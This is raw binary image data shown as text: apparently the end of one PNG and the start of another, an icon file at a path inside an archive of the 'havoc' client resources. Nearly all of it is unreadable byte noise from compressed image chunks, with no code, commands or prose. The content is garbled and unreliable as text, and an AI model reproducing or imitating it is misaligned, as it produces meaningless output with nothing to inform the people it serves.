PFd+sK[mb~bpq"8p$/,͗j dd;)'EJʲR2IY̒,l7 Ci]T<`D7"Y]oDz0H~N.q!H `EvE߭L~d=d*$h/Wewzb6% r<O }䑩1 Td UbK^5+dY X65g)EdnsfI"hw)CFK;,DiŲH;#:Ct'?)sq6z -|9ܧW 0^y[p!3sˌ "5J2m ([lE ~?Y2Dv:m~|1>:KtHFYYY~_;Y.D\-Ǘ$}v]m9pGE@ ?OJ!HMG| WA~,Y$;Mz^vk0d;pBE2,"h]f4=v phI咕Io~&+deY>zdX&YX1*g"~ƾֺ9^1qU#4+Ed#ntGm?f +9K;lwMw$H /@I}㿬(S Ulcfe:Q.YaIGdV0)2j Kz@(g 0lUz.vM2|W*IQLqҁ F_qLo1VF2?@FۍVд*H-%|[9k9^_ 2Td02HcѵdY(eȤeh|C' |&#TL2|e[`,$]?Q{,OhXvX+%ȖȞU|]L$뭍f1pvN-%Ԓlb$D,,/&-A<ύ;;eI&,Ҧ,IƮ&Bj걈e}lEssCKN8/@w Yt钕_Pn? ML2Y5T)&%of#cs-$vJv_z[rի9v%ٜ /L:+NEL ,Xdp,g̕YÝhMilPgzd +<~1Fe5Y6J2$ P)qcd KS9?@&%h-^E&v${6 p1Ԋ=Rd~fe ,7\9f(lGvn,)'UAf[Wki$׋lFLB2 d!Y)dY;,Ei IdضXHx(TiCo%&G4oRd,K$s,s&8Yro!2br,-2.(/hTuSlDsj7K:rKre3&+nh;tlL%%rv͒ qi/ju6 |%dKji)2lfDes=b`,ݩȸb.>[kSJd'*2elvfgdvK%z ӭ/aa<"C-${u[^ޔ$^(%`sb 60%EVDlIl82ȈɱLKo_2κ(2/Vx s_$IB3XkP?bh)=KI2եDOaaYUk@{{]MM08modJiM&FA$ٱè@(˟srI(#Iv=TpXs6)2?/̈rJ> Dxv$d`AnYIL Gf'KaXu1CFYd7"d;5Jf+t[M,c1%yVĆx#Af(l^X :g|]"CLHjQ* kPF aަ6PV0P^8V~;pM-IOv?v}t5D+j ,!@XzUU訮bkM( j?"%5̊Bp,>~(](2OE[X7)۽t YV,& dZѽreQv0;ݏM2 PV]^_²CfWdu ȴ"[b)"{ʅ']K3P D}tP2#Q$cEu"\ċ~mP[n@!(Dzxo_"~S$G,M2J-d_ne86@Ju95u"ɘdddIJbFZKfsD%4s)$cvַVzLJ/T ߱4\2%ٳ(ɖm[Lcny-! TV2a?)bΉ'lKkk:f]E3TT⇙1X6FY FHv`P53ܭF+ğIKKI(2d]KrY,ھqҎۤe[ cTԿXg4^y2Zl q̔dXڮtk*T>e)& +$2ښ>^)Oe~?K2Cw_@x@Sӳki˝;&;pL*hI֪P&}6㿘ݾqky9&,Q8?ЊHF0+.m)71?sdI Ȩ5\ LdL|ەiX8,4b jt 썂/ GU՚`%DQŧ_Y bdf|wXHC$+`h`X:  ɲdzK˴ [gk>f`$Kr%WQLWԫIa"Š`ɪd-k:djh~cY}WUwUR,ۯcdgӇiy掲Idz\\n;~`r$+E86'>p/ j`$ UOiu*+Æ$[gQ=&vyOUwad ֫3@-]d*dbcMmMCɬ$c_Ə [y2bLb\2'Ah%/>4~ FNI]=bVkUƫ a旷\tCM lpź;@-(s=}# U_G QFPXo6@* 2ڂ|逧0JwAݦr.-tE1vS DDmUy,r>lZD$I$t{qZXR,CZ[Ia"ъÕ5Y+udV!na/ec.C<::r#7P6Hcz& Se-n~I]zlbQVGF&zG|AjFYX]t)9H$ *kC1kR-J+ȔI KrӒ\Iuٓx'մC: B13i0Ċa4s-w.%blp#xm&;ET"n dXTn$[ ufp (wcσ#Y;L?gaɲx$Kn%1҂2_)I2*׌+79b깿cEFbLrK/Ucan(̘ =o@fV-^XJD.u<&uz70,-1W~X%ĈaTRmWd\RIL2dޟFi)/?7D*߁GߡGFfh($vqO%d[Ae_Ns$q5YxJϏ?3,[HcYu3uȬrt$oK$;tu6IKɼXԐ7jpwb+ sRe H%dqAcUQ'bea|gcևL(g 4 y2P(s$v-Q%22xX`%Bv˩8yRdB1pPc\6o [Ab|D#N ^zI$Q'^M6OEQ&H,jnґM$N1V g'l'(kY$L Sjo ݐ}έ.CxGFHW."#ʍvA (TS! ɦcHzu~qj}Mqr)lh2唕*(r DWʸV4w`j)%o1•/cք8$[!&2qyIuuqm- "en)GG"!Rn2uJ~4D!\R#ldKdN;j$DjP6(,6m?iQ`|QQ>o18A( (C$F +!fQ,K1"#%5Yr(d2@g)mB =2xbgX{;[f]fRnj 2Td_McsdFgyK`MvjMw{#CC@3Zg8(Z<0567_ ` b1L(uglecCjhUhPd3JLFzk);Զ&pSaBcLk0J' a KQ%2DsrUz)b&#(h(ECdj$Z hҟp 'ÿ $Sw蒱';t{#4"f 1227=:=j0kaFXNAq M)j Yd]۳Xx3ZmrgvIvhրiT*-ªB܉Y13՟g?*K5A1E11e@*'m|YUvݮA@?=C }2t֬L%Mcs d%%RdI׀d]*;01Eu b^]T'B FG@_uVglBHf.UWuordUࡊH:࠿GEƣk &\*e27$3vƘ*Ƣ}239&TI밹5511+2D]/膂okuƾaTd~n.rZ$*IW40>_E[$Xd/]C]&̮Pfͅ.<ܺ0xa5k .*-5+B&/{0,Y"X>܂\1Dv$+ -*P{we,ST HH**}+! f4/V6ʬ~*br̭^![TJ/$lP@ˌ5+^W+m"}Usqq]6I=Cxq\acUؑie1* #KI`!a*g~o+%P$( < Օ5oxPA9*w P&J!GC bj|dJeC@(%'mee5ZʩxTdR8 f|ixOY HTô4%<+-,Hf3>\F!O=v&IYϕ5zEcљ(2SystNWVakB Ȳ?O#<*K_1 r|0MIBI2Yq $;$CQF%LxvuuO>NyX$n*JGbLĸbX~e*T.-SBE0\ѬX&׌?[삯RkuqM[$4TVe&X,q`x,T7uf[M)sJ2-rLsLZVu koJWR3PJ;daZTɬۈ(bR"l\azl %ZhQN/W47xܴ\Iz@ v@ qectH6$uqs j"ٗÖ8Hwܰ-*DGMFQ TiQ3e(KM9)G1旦V}ǨqVcQBu9MRTj)$ke6\5݆}x?&m:d@)(UW IDATEkO>ǩ;ds d+0%ʣX}} g[ΟKįKZta=7E80,%&墹1r|aj3ZU?cľXϒz<접=h40чO"?8r,>6.9\gg˶]aE;@ ufiO-IbwƠjjFSM,UhIfH1;fa9wdJKƒ XYyH%2-ϗOO~0c&%B%몌Y̍cWu k%/E}޸Uweb. Vs'.SƘu.X*AYX,seDm/ I2I;**+ N^>yyf %?_z~dw}NݴAlIITAd?\F;_8WkfƣģRᖃ]ftDQJlg!$cMz6Y4&VF\1l6["lK[*Q%b#)-faJol(2d1h0z⪃m L]_? esddJB2e_v(~qeXxtYdYZ[ Se%v80@c>{૪Zi&ռNR6,H9J1^Š;LaS6i >%FoLvm-PI|X%v{򌥁1Y釁>XX9Ēk^3]57{cs dQ.WQzYQqLD˲Q<;]p/cocx-~_?/IF; RK e}>Fq \]5 @7uVUz2W_tįrM?ۯ^N~ 8 ؅箇0x M c5F{jf}/UauH/;wcsd$[d8wEEJ24s *Ot?'3>?:O)Fb< E x ;uuj֯{1tцQN<׭o_fDZ:!jzkcS߄7 ]g~i^?)&QRpxV̀e|X7p)QX/n#A"gq߆/H.BPmX.#Du%pD"/qo ')ϖ; ?Û7o>:._o]oԏeT/STq. |p}3d[xpr_#p {`sy|U.\4--_v$K60ی c] MUЅn - d‰l~FѬrUXr.*<$P8h@A=IwGgalȚ{k'{a[k"=#f|`2 Y`ac R]| NTc(׊Ǵ ŸYr Q n=+퇣X1`'*-etNt(pL,|->haHbSH4ly!BU #fƣ&CÃk\v18h2p0okO\b lMw/E [dd2(+5^eNŋQ o 0<;td#}5^"ٱ@2mFvSӅIFw# 5>0]#"@\襏9 B2A+ɒ20_W.]irL1D.:f_A"wZg?_ v4)pjnuwZGe`^XKK qLmc$FR.8Rdy"EY짓0TUaSYt\w& ~}Plϱ='dGX]$dVhnM{ݩ4 ]dȱDŽcFj_RpٶkWmcx;RC_bw/^"ݻx7aN>" c0ޭ!$%N~ǐWa @C[ԘAk:Øo 3IPlƛ~`Ny_o~Zh3?k4f6 ^C)lkZs{ٓ2X<զm2!1qɔ$<#P0_qb*ɑbiRaJ$PKkkHk[N~vÈb0 trdL ؆zց[z8WVTVzL1*7o<hD86wAf'xͶ٢Bыٶm& Ul3ifSwlP;QzHvI/-o 7SIB$<Iv4̒d,dれdlZ9PuuM^Nbב~_G.Lm}0!68J ɡu8ωϗVKz 0vc1Ƙc$mټqrK&U_E[l&&]fm޿مj0D$9-dk{ȐdH3J(IvSY.Y@wf#ԉmXå#^a6aXӚ k b8;9JI@k!1ƮWV38iܬ2)JB;lE2e25E}Jt6s vڧԃݧ2X60yQvp$'jZ ilH2,q 2S$#=1\a` İ ZW--_-"v~]:uZK0)ܲKAQb@17-^QXs_;zJ 1HaIC)i-4kA-QP-S+xB_ K/ &,q3w/u YJ2-ִH%3,ɺ4iC=J04ǦK 2|F˒XVTj I/AblifIS]_(LF: @Bu1I'<}QuZi %&_qzQǶнkB mX 4MKBj2J.V(uh @6Tԛ4lZD~?$.Z.:? s,"2d_G1)/ l:f'V.j"ֈ G0!+pD1Ehc1\;c8vaoނK 6_Y$Kf!rF[.*/ " $lmU-: cLLd%Y ^h%6䓡2Kuz 3jɒ[lZQ9vRmկעghSm^΀߶A/{Ituw>%,W "G=is,3QK<~Ed%F8[U prOmVdZ$;qZ%`HOWPn9<(.%Ɏ@^(SwYc"ȮS{0.fĕ6UE5Whx !Uwo1"1bÒ+=3c$u@0{[>u< 2mKlOzR-ݾU׏\HFKPCM2Pd]s dh%M({tyBY\I0qr6ܯrK&aWWXsH^{߆^7tz<2}ti 6 R|TN=M9ñy 2d[X$mhǍap mq儗{8ɧ<é]U;qi9 i̚5ýi(zI?s17IWoK,z%sL䔒 ֦Q؅{w߆]dQ hF=}@ҼbmH<&=NK;06AH綋' fYϨ Kc(ɎK gJUaO{{]⒑$H{$I[^9gI0<@FrG~ ^GpxE^=EfBfQ'O7 7 VoL-&eb,`t^yQ=<0E2wҸ+Y~]3|-oCM L2-[.>#ͩY bP5蒑$f*V-I[*"cQ%c5t5Dt#?}DPxHwUp$$6=y;c1mƱfbdId#%ٱ dHhjkdPYܲ'oHArɰ([*$C$;V<1Zo$|W%GDn iOi*)=`\ E`nǘc+=vݒcT4 )yXL+vP&e2u:qXDCSD5:s:G%;Ew9RK2lz=MRϜUȱ+@uگ Ҵ%(5bK}t\/# N@0DJI;*V3Ixg8@F4+< Td':]뿌&Yە5}ԓjk׏PhM u$}.x$:*mv%&edI?z+GҼ"ʩl7=r.Q^ta{g]W/[5\>Is>m&E:K5ڮ`q`&^#'>$Y&K$)qxI-@f[d8gr꽡ǀ0㥃,fYΠ҄^ `@&?S畼he˖9ʱqeF1Ħ~p]C靮!9e!ĘHsZ sK$XWIT_Xn KmVY^?+'pܣ| X"oHQH|8+Xqc"y1 F"HZj8{㙱}ֵuӁeXI RKiB˷?2-;Gy]қ'^2L26:zٮ4%۷ۉ+Y}٤_]@KQ2:2O~ -LvR`ab" v9i1Su~S?~LcRO;goYTBFdQzߟIrd}Ӭd篌t-&ݯSNg)F&iؒ n-߲M0^9/TZKV#~[TV.jDz*E$^XN^>cnTXiJiOc;gLcђѶ>֒y V%<ż>axIĦȌ}H._{?4E0o{FϜ) Œ,|KSuӛIȴ#<|Tuzml0ux9~}db,;fcN)cCɘ؞=YAJG˴\JF˔}0<)&&}mC,e˔%˰&EzҬ|Bvަ??0}`#e6E^L,؋NX4c6=vĔbsTLð'd-١CGtl~dgJO/[(u߿h`JF9E~"eJɦҷ{^>!@K0^y%Pݟ)va#;䭵m^2~)SZq,y;]|:&0K.w.,^eƦϜʋ +OY+70B&SiJɎJFd_64q*X^ʁ)v w Ϗ`1#)#%˴ ;G\|^;w#%3+.4I.dz[r IDAT̴nẑ_Z ҲKmy\rW*u_g\$_"6uu\61qmZX/c2[i.:`+p=1%dȑ-)!ˠdlLddz[sߗ& 4ٯQ/euhy+r :Ow_sdë%`Ɋ{2 3^rJFM|>|ę>{u DwzUzĤH S%wdϿ]t٢U؞0C!yKk?y<ۼ%^^|ȓA}O@Dn%ȗRtd~`*;|h/@K[ xRgɸ-[adO PJϑ9bu??]|.̉,fDž:y h:MN?` G1(`\akl,wɱOiR1,I Ɓe&ad.l,O\~ ON][I %LLOu=TTM_S))a_Oh"N*;ޘdVYTlFHO\~/,Y)K92ؒOW?+m*1%嶕&w>ȫο8ac$.0+%E"tM&?YS12cƎ}G߸1Jf@Ș./>A2Ёt'9yQ]ef_觺LuX?%Ϙ/uL)&$cZȓ}pY)h:ndҫ%{M]lKVyˌBo4N)I22^p=۴d5mkșax- LЉƌ,n׹-o쳴02bE(T&lڸ󳗭}J.pasJ|Á1Q%͒Y7z<> /po)=E*ˁO>I}}]_F,k(Ov̕L֒q@7mKVTl,{՟uo%}Hɨ?_fWp۔ QĮ]4\Oq& #X” FT1ֱ FNT1)8#c˿LL .q%dR4y],SJlfKIOqc ׻ӯ$㵿d Nte(xagT˗]ՅdEu,5M0=-A{}J?)QgafUMޭdB;4(4fYa~V̓ΌIՅLe_Q# dvuT:|bxB+եq>PaNz"],^ VB8ڹsu<ƒM=a_;ג|%;dYV;22]J'j#o-? I̬9msOq\.]ҎL. t\YR/_V΋92/c[>87%{F_Q]m{ڒ;ƞ;f3?owu\OCi@5!G#G7ZvX(Kve$LV\jKSrL%jJ[gi%U>ڔ}2'f$ggVbMrr|y#bdR1%cIlnxcZڰ2:/Gû899s>0';|~B4:׹/P .ZR}\>se+‚˿5Y2SKvPPKv@7Q-eo-Z3#hڥY2}V*FP~!D= %mqUsZxW߲T `=E뜯_} _&{-ٙ+#W~J#Un[2X2Hx +m6ff!=Ӣ]vyyMfRWv W U J4BD= AΒ⦷uqӹOI^Ctņ.:ė:h X//^{eo OؙS]Ȏpyxs]/P_2SK'.] \)XJv," ϓk*2-f:Y9}²7yDߧ]@؜ 5zBm7/$/msbTi/Viӕԑ1QCoKf=r"%ČB ? SJ3㽾^Z& JjeuS2QvPl`dZծoBdKIS-QZ|Bf,ف?K],{WMǴgf'ͷ}Z@|Bٰ :#~LIgǤpl巋* zB\L]~OTyNR/G>_3cw7t9^vI_^f%LG.U`\2y}ĥdإγt|4{Z2ɓ)S%y2YYvfoJ,[3mh@x -=8&jzIOM6Ks**p؞@zlOe07Sq5b3D /?{uTJɓ܂beL[ar Wyn//e$g"eWJR2d*XA{\^~"%&.fetddfnyĔ!8Fr"re  ]y<|rbi2fz]4QC[odzcj(rX_~Uv$]tr0#^w/b72d='dg2w~azKVfTtɔݎ:3i$iF,H նߙ8۾# HRu88|Fz]p:}R%G6X2Q/+]!^wJw'JF]eɎ˼e R^|ǏVޯd7+]lBO\:OfMƋj %7y ~M?qK`nJ޸tڮ;Wj$؁^*:= GD= Ñ#/DM+:X.X69,aN].xS82"QȀo:}}g},:xVqot0w|؛gRrw6[31x;)}wwVqyޢ֟Qp٤.fk})qyO.~jR#^˶+]#g8{jh=.Ɯt40ꏃp`Ž^ܴI=^ʅ{7v{֕wEDe˱ϟ8QyriH~׽'{Ovww={px`|$C~3s530YO߫?(:=8v~sU.f> x6>|=?Q1Pwsد#&I7ۢa%W{\=VŮ2I&T*Emm퓓A0`?r=WߐzN_hwwIDʺ{)cPe%ۯ,lek iooKM2Y`%+|~v~P_ s_ VJ^M}$mLtm$)2ÿLcFϴ5}/dz$"]5f.T,MFBimM?k"7dc,dJȦg2[LM)RFBD_EQZ49Ym5&"?-@|Iy)}SJ%,J)NVj 3|OfD4M['cdQOɈzrb-2 tJ.•\}{EɾqZBFJY舊-)YgĨd=JDf$SLe,MK-%c/TK͓yZLO8eU[vC*7s#xiY}~h.I2=Z25+ Y`A QC)3lY%,pJ8pMi.bOݯ$*ɴ#ز'wojZn>,ZJ% ^fz@X "="lWdk^Y4W['I2L)O)>%wuJ~d-Y]K d7ԑ QH2SךR _ږ2\IfsdqDWeJJf\[2)ʹ-% ŗΕy(kRz悻X6bY욫~eW2ÛlwƽزŖ]9tLV\z}L{E2Yj!K?-]~q܅ C0'k-ƐO2{2oϒߋ-YξQ I+{I.% ev1 B&D=s],ULEVVY7ksdNll9h)*%۽k"[l2k.]b(4(ѫ*%߈U KV-k/R\]ެmio}Sؒt'gk,J0̒*UMkZ IDATzo*gPG&D=sĻX,IYڲqu?ǖ,M\RU`P_R9PqIN|ҽL/38Aȁ#KY $G}l)RI&6lTluqΒv%sbʒ*-z&Vy& r~{,sXՠM*%#K63[\9 y̒ll<@8O]RV.x̮ {C[r'ϼ%%)JɤUiȹdR"_OW?7 y0 m?-)?gɂ~NNS[4K聱@d< |)Ex_Q|z \5%~kb'$Ybh=HؒH)Y-.{35XhKD&dY6 QüXxs\Fʷd]v󖣹[ ]Kd[,V-a,e96I[jKf-{-{r`P,ȤY d #rY,4qndR2^o9[v zf" GNB 82!q?7mA܆. dvۮdFyv-.*U#Uo^2&a(O2R9@~=o9:>R,׼?;K,}ș_xPG&D=Eo J&~&#ZS{\}b(v<%KlpY]HB6oZ QCȤd)[ak:˔Ƽݔu.GFnKMuJv,/(X.dܻߏ.;\p2o9י3I+퓲t\/,p @Ȅ!dPP_2]tl[zb֒,%[ !LڙKd`;%ghR~Zpdv;v#dd@8ą4OfYpxɒϷLY@liS2I2Z"I82!q dҏ.B!mƂ.%5%%A dL2(Y0dOFl{H9nlZ.%KkKzx2:2C#҂d[t) !-y|\{eBhKf-uJ`n 8&3KqlIdđ\:&\%CV\,@&qNZexD$-UlU-'{=$LzbF8MiOFd$=Sdv`SNŖ BK!qAKՒyK:ztlK˔UOpR2*mX2:2!qi Tsoǖ&K᭷d2G&D=#i)JAlHdc:I6/yQ-m)yoqlZ#zGz]lho8ʒiKvv&x˼R2` ٢udBCud1\0o2gm% -ϵщ=:g!5ӖYC,R6L?,Y@8Ĕ%SȂ;Q_f4-B6!1.iRuI"dʐ!KZ QCL gZS'ed3zxЬsd=)QlGB֣lLYnvdFinl~22(Y !q)!C[`]HC+jV[^l wd6ddB&D=1%ȴL vS/Iٱ~Ymyg/"%]oc1/d2j<ېQoBND- -!3bZJ2Y4%ڒz+-$cK6=mbKI)EY!-ʹT_AwqL[I[5V@h GV@Ș!J~͑akKbWQhMe2k "udBS:y]9ׯ#ԅd:2^D~\vͯ쇐-fZ QCL :F)"6#ӥ#Lmrd: Ȍ![~)wP~!D=$͐mRn͸"VZu#KpE˜eʮAzEHȂs6tEdY~0驾llrmfݮ#7211udB+3f;˔D6Ν,gtYY}}:C60djXkȼ="d+ ٵkא#-!NACv쌯cȖ#[)r` ٌ5dW$eLv!(8i&o)aSE6=5ur]Wߔ6dzrh;8g c<a~u+1B&X̄1n h9ˡny0gG&F'}Őe ,,'dJ`fPRPCC ^=_0.E9ȸLw:2,ŰdA_F8?,Sfqb3d_ JwXdSS}Rd] efYM2,Ub,qo2PĂBfS.Ch MyH u!3,YNz;IO !;=j*QDd,>; BZ<}ҨDT{/Y>r Y ,($˜ 5-l?vKCfY :֢Q+Px^L[#vdӆ,cJ)r`_3d?TCZT۶E?%[#gd)-|)cGMII|iw+!S~E* C,۷ZJZ#%;2eؐ ף#]Yؾ坲R\A%:ڽM >5 Ztd;Z*eֲj8| -I.ԁccf:g1ʐM ]zwNbC /vZJy"c&lcdȐY?t,k ΐ~W! v֢V(moYS)lɚ5ɐqX*gL?gu]}T K~lPt KXv6E?%Bl2BN҆cƏQ2cY®5て[^,S\mMS~lsQFYS;c˙,ͲeC,K eȺKcȒm"˨O ֢,j)UϥPI::ΰ!ʋYu͎k&˕gqoȼDYd C"WZhCd(A2g9?Ce,2c=T:65> !R^=:߶9j)!k#Nn!s~J ͌#CYұD$kB%di{F}f@[׿rRdGFIdt );6dl\X],w۷_~=cI~2 F"[9+ӱvr,WN*Y~L&YXKQO BF.B+!c?FS:F{s'zFm6dކ#֐!AYҜeE YU3bd,,dREƆ1cYqٸcڐuK7V 9"tlJ1EN$Jv!3s3֐utpVd=zG^YxAۿ'CMY0d lJ$nA?A!O{ؑɌR1,h)?sұQ=g! d :bg%ZevF6!ӎLɘX̒#SR~\dM!n,m :Ŧ+-t?)"!#ѵʐu#RGr,ܽ{.OH*!yO{6ў P&b[SmUSj>,Y2 Y*a̔%92ȑM,4cd:u5v#K2~JWWP5Etd3REF,^Ύ+C6>їoX^?vVXw/Gbq!ϐU)!C@%uk3i963kg,{rnc#ʑ]1~*Y, eȶWU-[\+. )› bڏQ!l~lD'Ȇ8C۫kb$E QՌMH å#Əє%ƿ‹&,n ;f dšc)lGs,Y)6"#!Rs^tL!S0ڑv2SC&922rJVa}բOA)7g9;463,'rtؽUQlX`ΐƑ6d1Z*KSi5dZq %+Z%ӆl8ƧG^UxYSy1<8XvMfɐEۃΰ۷47VhdB,e&-%D?{K 2pex`@ɘ6dg!谵6¼^dŚJ , .χ"K&/ċ9 /Lg -gtLȆfg\l ,t ֱ/<SLz[ CK .q,Yڋ [Ԉֱ+Ã_ !Mslkp C|ޔvIE ben\82//9/q)R2c!;ɎlT{;',"Ka=PM@]~S{b {vjJ ԆDFdZ2dwOT&Ѹ,7n<|1ۓK> ,ّ]/đ}N:v -y2-E* Y&1uRYYĆlLZ5K6dWt_j/32F,",ƏU^7,T'EȑCzهlK]NLHx`xrBlR9#D#IDAT2C"ȸrۢ1dȓe%TFsdc.^׿o,Yؑ}Jvҥ& B{7.![dUNxRdvҲ~EIu֑ٔBK%dz -{O o:x\8!ٌn3k ^dYӆxD_ mz")֏5-&?F%]fFbˬwqMZ\dn)2iEœT5֮ىˌaUhi*ΘZOE9A]~As'ue@#aul[KSҥQ+ jJI5Hrt${mg`GFڑu[G6m;J\Կ8tlm;.>[eP4~Di{X5)=|tSE;kI z=Gf6!+Bǎm[\ӕ֮فLY:~l=2dPBlή2\kg-m{XE ~-cʎ~nS% n7+NjH7K% 6Rpd6寯mx v-ePS m]4>dD_bɸ`xm}!ӳH-nώo\*g/נbL[zk=S ɴQ~7/xD ƣA$;<}G˚EmDŽ[h彈0-6 -;̲񯔖ݝ]~dtЅ/#7V*ƶm۱@"QU̥P2M[qiKX9Gs% 792ok^/jWǶonlnsj޶$.m$vV=_)$\Ц2HZorlvƢ֎r\Ze݋+ʫdawSl4WoE %=G֖t,_@_HĚkUT 75,e/Sl{3ߑ%mgE[Iլ$ɖ-+0I2 vӓILZ.*뷾26vrbʊ)ټUJUd.Z)Rdn!-g#ͽ#)53Kf"Kc nE&I8X}b/23Ijܽπ_1_Niy*x/zQ_+$lwknvG*QHie]wͤg6?)I=O-ϧdO>+۬G?>%cջAئexZkFX*UV'09 NBoK?MW)-smK)ϔm~oݗ3I?q6d(c!m߿nwM7}l74liť@y d$e7-ͫȔm'wqO:$%{RJO+J~k.V)![d(3DؓUl7ZI]+G,C?9W)^!߿Y9TRWTt,ZVbK82ʌDBK[Zy [2R;xhϮߟ3I,٣OBbQhRdlȴ[VcF%yJd%#!ZX'%{'ڑݦnĐU#[SԈ2#+Y%pb?ܚl[tC=%d?n+Wвd.c&iPv|}O ٪[Ē=_>OVܪ,YɞOSIݴa -\.4C(7#[ɖyW5ZҰdd7%[j՝Z8׏=ӓr=Y_#O9n&Y*QP G W*JsK[{V|ǖΑ-ͫ.nedqwd*G?dUK~-Jdk%SLEVHu/~ʑ6#mȆLX]`D=b4' V6Ovdݚ}rŊ?ʑ=ġwIhy͵$Y  0(SU%%Bv Y2\ޣP\ώ.ȖַRkX쥬a+ 0(GJjNUi)۰v#y2m~ߚ'ؒLٝZ6S,^rUUʔ-O\.QJ>KL)Gܼ{ȑqloY]sk)AI˓y억Γ))UnZn`GvssK]Ńʐ%l? 0(OXǪTWe2dkI^e<-蒤ؔe|JŖȓ'*l~`6c:G&eZEq!a'/ҔlO?r,u1ֱE1EV` TuN2@IٖQ#lܸv]kvlUW<6Vr =6lXܲ:2 0dΓW^jSZ__*![vvl~X92t FxlI8Qfld||np-kؐ]3[(Uqt >$\|*lXD6n\[6ܹf1S k/*̑)!C bR`/IxG~㵴WJRzQYZ b+(IߓY-c=OSigU] {pԐU%C EYzl2Uv-kpsX§j/*@ -L:*'e"gt喕n۹AǕZJTYaj a-IyZFZy˶e+@xpѥN-UlժͫkjďISŽHE_ vL08T*M횺&@GF0a&/KfXjV57Ց;\ ( $D(t64HCEI Y 0#Wa UPiR!8pp.u*Бa kcլjՋW^=H2?q( : 9^xih^1)k@ bLHښm??N\-Bh `Kv2+c]ǔDz(!C btYms610" 03 *3nl0YxUIFQ8,i]X\Ty`BZؼsA3VVLކ(2BVe{Ժ4WN`!!⋘Q*%`PY$PW>_l:`PY$;Xb5kY%:`PQ$m~Y-J_ `,"~WTM;Db^(rRS-dT , P0/b 0BuuxX0VƦXY`Z|A$Ѐ *ڦ_``8m;͛b,مMHPԷ6,z^[Pe|YQJVTU1$qOcX ٱE(م&,J [sKPd+dĝDU|'YTӰ B@iw@{E9-71.LqBY2bMuca5'%kR_Z2KusӶQP (ʒC-q&5dkɢ <^\ 2- 4ҶQKP8QBl @|*K4Xi K@L(:\% ~B2B1JvAUQ`46ǹ1l: ~4VT`IYR?1W7sQ `$TV`IxBCKS-\#)ApSrZsI;*! FT^L(&@bQM@\HT7ﬨ G ąƊY+N\[,1!QX%4E-lزbUM-L1NJdj* 0j#䡱yGENX:YcIENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/win11-icon.png000066400000000000000000000377761467014221700241070ustar00rootroot00000000000000PNG  IHDR =PLTEGpLܽVXXVYYUXXhhe@AA@BBABBIKKLOOVYYTWW@BBUXX@BB@BBMOOsssKNN­GJJLOOADD@BBKMM@BBVYYTWWVYYUYYVYY¼VYY@BBACC|VYY–NQQdgfJLLnnm¿úVYYp@BBM\pbE`o흜#l s5e,h.e=K^x%j1`=HV(mZm/W8No4S(i-{0Uzwwt6s>tRNSY꪿ڙ3 X8%(E>  `O2v-9?2awNp@^K'XngydUn`ɼ0y<ͻϜս߰r`n5 IDATx{Ua/IBHHN@ [%\ ]B h;]?{N;0řbTF5B!3A)(*:dyȈCy~{>RmYg~wN=9K. whݗrAg]\=9SN9;7w!:^ρ'̙sIǟv%ફz#U]_|q+f'ɾZvy9ܵ`iػ zvoy_Z:}m53s`Ztޞ1sZVƃ^7 {衇ZЛP}/OGu9nݯ55kMXfRρsz[,dR+e޻e+JYknv~y ̗ 煌]|cR{M~[#j;7-)a0=e-YkydXb֘wݲ1gcWAJWϕ98'e=sm_Tn{e׽]v~6wh,|=w_l2l/Y);򤡽y]pUk6&dQ+koRV;ep%\zm,K}>)9_LǠ4qe蕬AJvʮ !w.ye{V bI6Kv]);!9KZ#C]#=iΐxo8t :KkR겵w^Xl};s.MR='eCku{sy.yk{5&}=}w̜KyPv/i92luρǿ2Pm<ߵN87z1 hqyYe$ba h䲵|Ϲsrm{IXB9Z%kXu~w..sɻ=r,vJeo8B{`k0%kMZSn<{)ﶰw.uwy]Ϙ~(J)ّхG0s.ّݸKf hJvt.ٜKpqA&|?\!^T]z8Cz9zTlϘ!5zrN:E(O#[BiZ[vvyy]J jxʮ:;="= dGs{Nǖ=ǿ3K(ӽ ?npUYB8+OM.ycsW]EO{PF]w)O4\8ȠTMBvG7_@k G5!yPFGbP4W9 jr$}κ2wb}XwYA%XjrqGtMzz}=#> i}Z黷usDEsq7-[<7a۲o/ٽ Z!떗-{^,d<ڪؓ7`Fvq-!-^t˓n O?ӏ='ZǞ~~'<#;.wbmG/<> {a\&_tMvi4!'z CSxMAyt˿ܣ C3O}bO`AmMȬ(!^ dBv ?{ah{SB(d}!>M{-Y=uӧ~K?ѴAfOvDv /C?4ݟhٖg ^疹M={S!k'2NȂ&!{,M_$ݟhOn2OT!6#EȠpA >?LȠlBi!EȠpfdAф,2(MMVݟh &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,_W^ag~n%ˈG!K[Ux~JY?Y d gXkv?5˸E!Kbe(%d~ {&D!K;t:vmA!kMʾe "d%Nk((d~;dI!K㗟eePRȮ$d%V Y$+k@Rx Bv?| BY ?Lk+,d+d,nlN&'d%=xQ),d׮|>8A!'dk Y d;זkW&HA!sw:BYtuNk7Y[@Ȣ^\[bȮQ,Bݏ:e!ܲBo:>W`~e,K dEܟ+0d2%@Ȣe,K dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y 